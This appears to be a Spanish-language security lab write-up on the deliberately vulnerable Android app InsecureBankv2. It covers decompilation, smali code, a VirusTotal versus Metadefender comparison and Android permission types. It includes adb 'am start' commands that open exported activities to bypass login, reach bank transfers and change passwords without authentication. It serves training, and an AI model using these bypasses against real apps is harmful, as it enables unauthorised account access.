Análisis APK InsecureBankv2

Análisis completo de la APK InsecureBankv2: desempaquetado, obtención del Manifest, código smali, invocación de actividades exportadas, análisis con herramientas online y permisos de Android.

Ejercicio 1 — Desempaquetado y obtención de código

Descompilar con APK Easy Tool

# 1. Abrir APK Easy Tool
# 2. Browse → seleccionar InsecureBankv2.apk
# 3. Pulsar "Decompile"

AndroidManifest.xml en formato legible

Tras la descompilación, el Manifest se encuentra en el directorio raíz del proyecto descompilado en formato XML legible con apktool.

Código smali

# Ruta del código smali:
1-Decompiled APKs/InsecureBankv2/smali/com/Android/insecurebankv2/

Ejercicio 2 — Invocación de actividades exportadas

Las actividades con android:exported="true" pueden iniciarse desde fuera de la app con el Activity Manager (am start):

adb shell

# Saltarse el login accediendo directamente al panel:
am start -n com.android.insecurebankv2/.PostLogin

# Acceder directamente a transferencias bancarias:
am start -n com.android.insecurebankv2/.DoTransfer

# Acceder directamente al cambio de contraseña:
am start -n com.android.insecurebankv2/.ChangePassword

Esto demuestra que un atacante puede realizar transferencias o cambiar contraseñas sin autenticarse.

Ejercicio 3 — Análisis online: VirusTotal vs Metadefender

Característica	VirusTotal	Metadefender
Motores de detección	Muchos (70+)	Menos
Pestaña Detection	✓ Detallada	✓ Básica
Propiedades (MD5, SHA1...)	✓	✓
IPs asociadas / Gráfico	✓	✗
Análisis de comportamiento	✓	✗
Permisos y actividades	✓	✓ Metadatos Android
Comentarios comunidad	✓	✗

Conclusión: VirusTotal ofrece información mucho más completa que Metadefender.

Ejercicio 4 — Tipos de permisos en Android

Tipo	Descripción	Riesgo
Normales	Acceso a datos con bajo impacto en privacidad. Se conceden automáticamente.	Bajo
De firma	Solo se conceden si ambas apps están firmadas con el mismo certificado.	Bajo
De tiempo de ejecución (peligrosos)	Acceso a datos sensibles: cámara, micrófono, ubicación, contactos. Requieren confirmación del usuario.	Alto
Especiales	Definidos por la plataforma: instalar apps desconocidas, dibujar sobre otras apps, acceso a notificaciones.	Muy alto
Administrador de dispositivo	Cambiar contraseña del dispositivo, bloquear el teléfono, borrar todos los datos.	Crítico
Root	Acceso total al sistema sin restricciones.	Crítico

Los permisos más críticos a vigilar: Accesibilidad, Notificaciones, Administrador de dispositivo y Fuentes desconocidas.